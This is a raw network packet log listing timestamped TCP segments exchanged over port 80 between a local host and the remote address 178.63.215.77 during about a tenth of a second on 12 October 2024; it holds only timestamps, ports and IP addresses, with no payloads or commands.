Oct 12, 2024 14:17:04.895538092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.895551920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.895570993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.895591021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.895602942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.895617962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.895636082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.895648956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.895668030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.895682096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.895701885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.895714998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.895750046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.904521942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.904553890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.904568911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.904587030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.904593945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.904635906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905189037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905247927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905250072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905296087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905303001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905334949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905344009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905376911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905388117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905407906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905431986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905450106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905456066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905488968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905504942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905520916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905554056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905560970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905560970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905586004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905596972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905625105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905648947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905679941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905706882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905725002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905741930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905775070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905797958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905805111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905826092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905837059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905844927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905869007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905884027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905901909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905914068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905932903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905946016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905963898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.905980110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.905997038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906009912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906032085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906039953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906063080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906090021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906104088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906114101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906162024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906176090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906193972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906222105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906224966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906235933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906258106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906267881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906289101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906310081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906327963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906337023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906368971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906383038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906400919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906421900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906431913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906445980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906465054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906476974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906495094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906514883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906533003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906543016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906574011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906596899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906609058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906620979 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906640053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906653881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906675100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906682014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906706095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906729937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906737089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906749010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906769037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906793118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906800985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906811953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906831026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906847000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906863928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906877041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906896114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906908035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906928062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906943083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906960011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.906971931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.906991959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907005072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907022953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907047987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907056093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907067060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907087088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907109976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907119036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907129049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907151937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907166004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907185078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907208920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907215118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907227039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907248020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907274961 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907279015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907291889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907311916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907335997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907344103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907371044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907376051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907417059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907417059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907426119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907459974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907485008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907490969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907501936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907524109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907531977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907555103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907562971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907586098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907608986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907615900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907628059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907653093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907669067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907681942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.907700062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.907727957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.912976027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913023949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913036108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913057089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913081884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913089037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913115978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913122892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913130999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913170099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913173914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913202047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913225889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913234949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913249016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913283110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913284063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913331032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913338900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913362026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913394928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913395882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913414955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913427114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913438082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913458109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913480043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913491011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913518906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913523912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913537025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913557053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913564920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913590908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913613081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913623095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913635969 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913654089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913677931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913687944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.913695097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.913737059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.980355978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.980520964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.980554104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.980559111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.980571032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.980587006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.980603933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.980622053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.980918884 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.984425068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.984457016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.984472990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.984488010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.984694004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.984725952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.984769106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.984769106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.984796047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.984811068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.984870911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.993386030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.993418932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.993449926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.993469000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.993469954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.993525982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.993547916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.993578911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.993608952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.993611097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.993628025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.993643999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.993664980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.993694067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994060040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994096041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994134903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994143009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994143009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994184971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994188070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994215965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994249105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994267941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994298935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994298935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994323969 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994332075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994343042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994378090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994379044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994412899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994432926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994458914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994460106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994499922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994510889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994546890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994549990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994604111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994635105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994668007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994692087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994699955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994710922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994730949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994751930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994776011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994782925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994813919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994826078 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.994862080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994910002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994940996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.994971991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995002985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995033979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995080948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995127916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995160103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995207071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995213032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995242119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995256901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995273113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995296955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995306015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995315075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995337963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995351076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995369911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995376110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995415926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995438099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995500088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995505095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995536089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995559931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995572090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995577097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995619059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995661974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995691061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995729923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995738029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995749950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995769978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995795965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995801926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995815039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995834112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995863914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995865107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995887041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995898008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995913982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:04.995929003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995960951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.995994091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996026039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996056080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996087074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996118069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996150017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996181011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996212006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996243000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:04.996273994 CEST	80	49730	178.63.215.77	192.168.2.4
